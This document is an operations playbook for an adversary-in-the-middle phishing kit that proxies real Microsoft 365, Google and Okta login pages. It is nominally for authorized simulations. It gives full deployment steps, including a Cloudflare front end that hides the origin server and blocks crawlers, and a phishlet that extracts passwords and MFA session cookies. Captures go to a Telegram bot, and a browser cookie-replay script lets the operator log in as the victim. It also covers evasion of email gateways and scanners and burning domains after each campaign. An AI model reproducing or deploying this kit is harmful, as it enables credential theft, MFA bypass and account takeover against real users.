

GLNT Phish Kit — Operations Playbook

GLNT Phish Kit — Operations Playbook

Version: 1.0 | Classification: Internal | Last Updated: 2026-06-19

1. What This Kit Does

An Evilginx-style Adversary-in-the-Middle (AiTM) reverse proxy for authorized phishing simulations. The victim sees the **real** Microsoft/Google/Okta login page proxied through your server. Credentials, session cookies, and MFA tokens are captured and delivered to Telegram.

Attack Flow (10 seconds)

```
Victim clicks link → glnt.cc (bootloader, 100ms decrypt)
→ Real Microsoft login page appears (proxied through your domain)
→ Victim enters credentials + completes MFA
→ Telegram notification with:
  - Username + password
  - Session cookies (.txt attachment)
  - IP, User-Agent, timestamp
  - Ready-to-use cookie replay script
```

Why This Works Against MFA

The victim completes the ENTIRE authentication flow through your proxy — username, password, MFA challenge, and the final session token redirect. Every HTTP request the browser makes goes through your server. The session cookies Microsoft issues after successful MFA are captured and can be replayed to access the victim's account without triggering MFA again.

2. Architecture

```
LAYER 1: LURE GENERATION
payload-generator/
AES-256-GCM encrypted URL fragment with random prefix
Each victim gets a unique URL — no static signatures
```

↓
▼

```
LAYER 2: CLOUDFLARE CDN
cdn-config/worker.js
Cloudflare Worker terminates TLS, hides origin IP
Bot/crawler blocking at edge – Googlebot gets 404
Server header overridden to "cloudflare"
```



```
LAYER 3: AiTM PROXY (EC2)
proxy-server/ (Go binary, port 9091)

Bootloader → decrypts fragment, sets tracking cookies
Reverse proxy → routes ALL requests to real login
Body rewriting → login.microsoftonline.com → login.glnt.cc
Response rewriting → strips CSP, XFO, cookie domain/secure
Credential extraction → username + password from POST body
Session capture → ESTSAUTH, ESTSAUTHPERSISTENT, etc.
Rate limiting → 10 req/min per IP
```



```
LAYER 4: EXFILTRATION
Telegram bot → real-time notification + session .txt
JSONL file → campaign analytics
Analytics dashboard → web UI on port 9092 (token auth)
```

3. Infrastructure Setup

Domain Registration (Cloudflare)

1. Go to dash.cloudflare.com → Register Domain
2. Pick a short, abstract domain (no brand words — "login", "verify", "office", "auth")
3. Recommended pattern: 4-5 chars on .cc or .xyz
4. Example: glnt.cc

Cloudflare DNS

Type	Name	Content	Proxy
A	@	192.0.2.1	ON (orange cloud)
A	*	13.218.149.33	ON (orange cloud)

- The apex @ record can point to any IP — the Worker intercepts all traffic
- The wildcard * record points to your EC2 for subdomain phishlets

- Orange cloud ON for both — hides origin IP

Cloudflare Worker

File: cdn-config/worker.js

Deployed via wrangler:

```
cd cdn-config
npx wrangler login           # one-time
npx wrangler deploy
npx wrangler secret put ORIGIN_URL    # paste: http://<EC2-IP>:9091
```

File: cdn-config/wrangler.toml

```
name = "glnt-proxy"
main = "worker.js"
compatibility_date = "2024-01-01"

[[routes]]
pattern = "<domain>/*"
zone_name = "<domain>"

[[routes]]
pattern = ".*.<domain>/*"
zone_name = "<domain>"
```

Cloudflare SSL/TLS

Set to **Flexible** — Cloudflare terminates TLS for victims, connects to EC2 via HTTP.

EC2 Instance

AMI: Ubuntu 22.04 LTS
Type: t2.micro (free tier)
Storage: 20 GB gp3
Key pair: new → download .pem

Security Group (CRITICAL):

Port	Source	Purpose
22	Your IP/32	SSH
9091	0.0.0.0/0 (locked to Cloudflare IPs later)	Proxy server

Port	Source	Purpose
9092	Your IP/32	Analytics dashboard

4. Server Deployment

Install & Build

```
ssh -i your-key.pem ubuntu@<EC2-IP>

# Install Go
sudo apt update && sudo apt install -y golang-go git

# Clone and build
git clone https://github.com/busconductors/azure-phish-kit.git
cd azure-phish-kit/proxy-server

# SET THE AES KEY in bootloader.html
# Generate: cd ../payload-generator && go run keygen.go
# Edit bootloader.html: const _k='YOUR-BASE64-KEY';

# SET THE PHISHLET HOSTNAME in phishlets/microsoft.json
# Change "hostname": "login.glnt.cc" to "login.YOUR-DOMAIN"

go build -o proxy-srv .
```

systemd Service

```
sudo tee /etc/systemd/system/phish-proxy.service << 'EOF'
[Unit]
Description=AiTM Phishing Proxy
After=network.target

[Service]
Type=simple
User=ubuntu
WorkingDirectory=/home/ubuntu/azure-phish-kit/proxy-server
Environment="TELEGRAM_BOT_TOKEN=<YOUR_BOT_TOKEN>"
Environment="TELEGRAM_CHAT_ID=<YOUR_CHAT_ID>"
Environment="PHISHING_HOST=<YOUR_DOMAIN>"
Environment="PORT=9091"
ExecStart=/home/ubuntu/azure-phish-kit/proxy-server/proxy-srv
Restart=always
RestartSec=5

[Install]
WantedBy=multi-user.target
EOF
```

```
sudo systemctl daemon-reload
sudo systemctl enable phish-proxy
sudo systemctl start phish-proxy
sudo systemctl status phish-proxy
```

Analytics Dashboard (Optional)

```
cd ~/azure-phish-kit/analytics-server
go build -o analytics-srv .

sudo tee /etc/systemd/system/phish-analytics.service << 'EOF'
[Unit]
Description=Analytics Dashboard
After=network.target

[Service]
Type=simple
User=ubuntu
WorkingDirectory=/home/ubuntu/azure-phish-kit/analytics-server
ExecStart=/home/ubuntu/azure-phish-kit/analytics-server/analytics-srv \
  --data /home/ubuntu/azure-phish-kit/data/captures.jsonl \
  --port 9092 \
  --token "<STRONG_RANDOM_TOKEN>"
Restart=always
RestartSec=5

[Install]
WantedBy=multi-user.target
EOF

sudo systemctl daemon-reload
sudo systemctl enable phish-analytics
sudo systemctl start phish-analytics
```

Verify Deployment

```
# 1. Bootloader serves
curl -I https://<your-domain>/
# Expect: HTTP 200, Content-Type: text/html

# 2. Proxy works (set cookie manually)
UPSTREAM=$(python3 -c "import urllib.parse;
    print(urllib.parse.quote('https://login.microsoftonline.com/', safe=''))")
curl -H "Cookie: _s=${UPSTREAM}" https://<your-domain>/
# Expect: Microsoft 302 redirect or login page HTML

# 3. Bot blocked
curl -H "User-Agent: Googlebot/2.1" https://<your-domain>/
# Expect: HTTP 404
```

5. Campaign Operations

Generate a Phishing URL

```
cd payload-generator
```

```
# 1. Generate key (one-time, keep it secret)
```

```
go run keygen.go
```

```
# Output: <BASE64-KEY>
```

```
# 2. Set the key in bootloader.html and rebuild
```

```
# Edit: ../proxy-server/bootloader.html
```

```
# const _k='<BASE64-KEY>';
```

```
# Rebuild: cd ../proxy-server && go build -o proxy-srv .
```

```
# 3. Generate campaign URL
```

```
go run . \
```

```
  --key <BASE64-KEY> \
```

```
  --email victim@target.com \
```

```
  --brand microsoft \
```

```
  --redirect "https://login.microsoftonline.com/common/oauth2/authorize?
             client_id=1950a258-227b-4e31-a9cf-717495945fc2&redirect_uri=https://login.<your-
             domain>&response_type=code" \
```

```
  --campaign spring-phish-001
```

```
# 4. Construct the URL
```

```
# https://<your-domain>/#<ENCRYPTED-FRAGMENT>
```

The URL Structure

```
https://glnt.cc/#<base64url-encoded-payload>
```

The fragment (#) is never sent to the server in HTTP requests. Network scanners, email gateways, and URL reputation checkers see only the domain. The encrypted payload exists only in the victim's browser after JavaScript decryption.

What's Inside the Fragment

```
{
  "v": "1",           // version
  "e": "victim@corp", // victim email
  "b": "microsoft",   // brand
  "t": "shared-doc",  // template
  "r": "https://login.microsoftonline.com/...", // upstream URL
  "c": "spring-phish-001", // campaign ID
```

```
"ts": 1718765432 // timestamp
}
```

Encrypted with AES-256-GCM using the embedded key. 3 random bytes prepended before base64url encoding (no fixed `mv=` / `bXY9` signature).

6. Phishlet Configuration

Phishlets define how to interact with each identity provider. They're JSON files in `proxy-server/phishlets/`.

Microsoft 365

```
{
  "name": "microsoft",
  "label": "Microsoft 365",
  "upstream": "https://login.microsoftonline.com",
  "hostname": "login.<your-domain>",
  "credential_fields": {
    "username": ["loginfmt", "login", "email", "username"],
    "password": ["passwd", "password", "Password", "secret"]
  },
  "session_cookies": [
    "ESTSAUTH", "ESTSAUTHPERSISTENT", "ESTSAUTHLIGHT",
    "SignInStateCookie", "fpc", "esctx"
  ],
  "rewrite": {
    "strip_csp": true,
    "strip_xfo": true,
    "strip_hsts": true,
    "strip_cookie_secure": true,
    "strip_cookie_domain": true,
    "rewrite_location": true
  }
}
```

Key Parameters

Field	Purpose
<code>upstream</code>	Real identity provider domain
<code>hostname</code>	Your subdomain (e.g., <code>login.glnt.cc</code>)
<code>credential_fields.username</code>	POST field names to extract username from
<code>credential_fields.password</code>	POST field names to extract password from

Field	Purpose
session_cookies	Cookie names to highlight in Telegram
rewrite.strip_csp	Remove Content-Security-Policy (blocks proxy)
rewrite.strip_xfo	Remove X-Frame-Options
rewrite.strip_cookie_secure	Remove Secure flag (works over HTTP to origin)
rewrite.rewrite_location	Rewrite redirect URLs to your domain

Adding a New Phishlet

```
# Create proxy-server/phishlets/<provider>.json
# Follow the same schema as microsoft.json
# Key fields: upstream, hostname, credential_fields, session_cookies
# Rebuild and restart proxy-server
```

7. Telegram Integration

Creating a Bot

1. Message [@BotFather](#) on Telegram
2. Send `/newbot` → name it → get the token
3. Message your bot (just say "hi")
4. Get your chat ID: send a message to [@getidsbot](#)

Environment Variables

```
TELEGRAM_BOT_TOKEN="8576202311:AA..." # from BotFather
TELEGRAM_CHAT_ID="5361206216" # from @getidsbot
```

What You Receive

Instant message:

```
CAPTURE | Microsoft 365 | user@company.com
Username: user@company.com
Password: Winter2026!
IP: 203.0.113.5
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)...
Time: 2026-06-19 15:04:05 UTC
Upstream: https://login.microsoftonline.com/...
```


Session attachment (.txt):

```
=== AiTM Session Capture ===
```

```
Target: https://login.microsoftonline.com/... (Microsoft 365)
```

```
Username: user@company.com
```

```
IP: 203.0.113.5
```

```
Time: 2026-06-19 15:04:05 UTC
```

```
--- Session Cookies (captured) ---
```

```
ESTSAUTH=1.AagAqzBR...; domain=.login.microsoftonline.com; path=/; secure; HttpOnly
```

```
ESTSAUTHPERSISTENT=1.AagAqzBR...; domain=.login.microsoftonline.com; path=/; secure; HttpOnly
```

```
SignInStateCookie=CAgABFgI...; domain=.login.microsoftonline.com; path=/; secure; HttpOnly
```

```
--- Other Cookies ---
```

```
fpc=ALYCyBaV...; domain=.login.microsoftonline.com; path=/; secure; HttpOnly
```

```
x-ms-gateway-slice=estsfd; path=/; secure; httponly
```

```
stsservicecookie=estsfd; path=/; secure; httponly
```

```
--- Victim Cookies ---
```

```
_s=<upstream URL>
```

```
_c=<campaign ID>
```

```
=== COOKIE REPLAY SCRIPT ===
```

```
// Open browser console on target domain. Paste and run:
```

```
// Target: https://login.microsoftonline.com/...
```

```
(function(){
```

```
var c=[
```

```
{n:'ESTSAUTH',v:'1.AagAqzBR...',d:'.login.microsoftonline.com',p:'/',s:true,e:'1805900585'}
```

```
{n:'ESTSAUTHPERSISTENT',v:'1.AagAqzBR...',d:'.login.microsoftonline.com',p:'/',s:true,e:'18
```

```
...
```

```
];
```

```
for(var i=0;i<c.length;i++){document.cookie=c[i].n+'='+c[i].v+';expires='+c[i].e+';path='+c[i].p;
```

```
location.reload();
```

```
}})();
```

Cookie Replay

1. Open a browser in incognito/private mode
2. Navigate to <https://login.microsoftonline.com/> (or the target domain)
3. Open Developer Console (F12) → Console tab
4. Paste the entire `=== COOKIE REPLAY SCRIPT ===` section
5. Press Enter → page reloads → you are authenticated as the victim

8. OPSEC Hardening**What's Already Hardened**

Layer	Measure
URL	Fragment-based delivery, random 3-byte prefix, AES-256-GCM encrypted — no static signatures
JS	All symbols obfuscated (<code>_k</code> , <code>_d</code> , <code>_b</code> instead of <code>AES_KEY_B64</code> , <code>decryptAESGCM</code>)
Endpoints	<code>/auth</code> instead of <code>/capture</code> — looks legitimate
Cookies	<code>_s</code> , <code>_c</code> instead of <code>__upstream</code> , <code>__campaign</code> — no signature
Form fields	<code>loginfmt</code> , <code>passwd</code> matching real Microsoft names
Headers	CSP/XFO stripped, Server overridden to <code>cloudflare</code>
Bots	14 crawler patterns blocked at edge + server
Rate	10 req/min per IP
Errors	Custom 404 page, no Go stack traces
Logs	No plaintext credentials in stdout
JSONL	Permission 0600
CDN	<code>aadcdn.msauth.net</code> assets load directly from Microsoft — no SRI breakage
Comments	All HTML/JS dev comments stripped
IP	Origin hidden behind Cloudflare Worker

What You Must Do

- ☐ **Lock SSH port** to your IP only (currently 0.0.0.0/0)
- ☐ **Lock port 9091** to Cloudflare IP ranges: <https://www.cloudflare.com/ips-v4>
- ☐ **Lock port 9092** to your IP only
- ☐ **Change AES key** from the default — run `keygen.go`
- ☐ **Burn domain** after each campaign or periodically
- ☐ **Rotate Cloudflare Workers** between campaigns
- ☐ **Never commit** `.env` — use environment variables
- ☐ **Never discuss OpSec** in a browser-based session — local terminal only

9. Analytics Dashboard

`http://<EC2-IP>:9092/?token=<YOUR_TOKEN>`

Features: - Total events, success rate, unique IPs, active campaigns - Campaign breakdown table - Top victim IPs - Recent events timeline - Auto-refresh every 30 seconds - No JavaScript required (server-rendered HTML) - Token authentication required

Security: Access only from your IP (security group rule). Never expose to public internet.

10. Troubleshooting

Symptom	Check
"Cannot verify link"	AES key mismatch between payload-generator and bootloader.html
"404 page not found" on <code>/login</code>	Work accounts only — personal Microsoft accounts redirect to office.com
SSL errors in console	<code>hostname</code> field in phishlet JSON must match your subdomain
Worker returns 502	EC2 security group blocking Cloudflare IPs
Worker returns 1003	ORIGIN_URL secret not set or wrong format
Telegram not receiving	<code>TELEGRAM_BOT_TOKEN</code> and <code>TELEGRAM_CHAT_ID</code> must be set before build
Rate limited (429)	Wait 1 minute or use different IP
Bootloader shows spinner forever	JavaScript error — check browser console

11. File Map

```

azure-phish-kit/
├── proxy-server/
│   ├── main.go           # AiTM reverse proxy (the core)
│   ├── bootloader.html   # Embedded JS decryptor
│   ├── phishlet.go       # Phishlet loader + matcher
│   ├── ratelimit.go      # Token-bucket rate limiter
│   └── phishlets/
│       └── microsoft.json # Microsoft 365 phishlet

```

```

├── google.json      # Google Workspace phishlet
├── okta.json        # Okta SSO phishlet
├── payload-generator/
│   ├── main.go      # AES-256-GCM payload encryptor
│   └── keygen.go     # Key generator
├── analytics-server/
│   ├── main.go      # Dashboard HTTP server
│   ├── analytics.go  # JSONL parser + aggregator
│   └── dashboard.html # Server-rendered template
├── cdn-config/
│   ├── worker.js     # Cloudflare Worker
│   └── wrangler.toml  # Worker deployment config
├── scripts/
│   └── generate-url.sh # URL assembly helper
├── data/
│   └── captures.jsonl # Event log (gitignored)
└── docs/
    ├── architecture.md
    ├── proxy-architecture.md
    ├── threat-intel-report.md
    └── playbook/
        └── glnt-phish-kit-playbook.md

```

12. Quick Reference

Generate key

```
cd payload-generator && go run keygen.go
```

Generate URL

```
go run . --key <KEY> --email <EMAIL> --redirect <OAUTH_URL> --campaign <ID>
```

Build proxy (Linux)

```
cd proxy-server && GOOS=linux GOARCH=amd64 go build -o proxy-srv .
```

Deploy to EC2

```
scp proxy-srv ubuntu@<EC2-IP>:/home/ubuntu/azure-phish-kit/proxy-server/
ssh ubuntu@<EC2-IP> "sudo systemctl restart phish-proxy"
```

Deploy Worker

```
cd cdn-config && npx wrangler deploy
```

View captures

```
ssh ubuntu@<EC2-IP> "tail -f /home/ubuntu/azure-phish-kit/data/captures.jsonl"
```

Analytics

```
open http://<EC2-IP>:9092/?token=<TOKEN>
```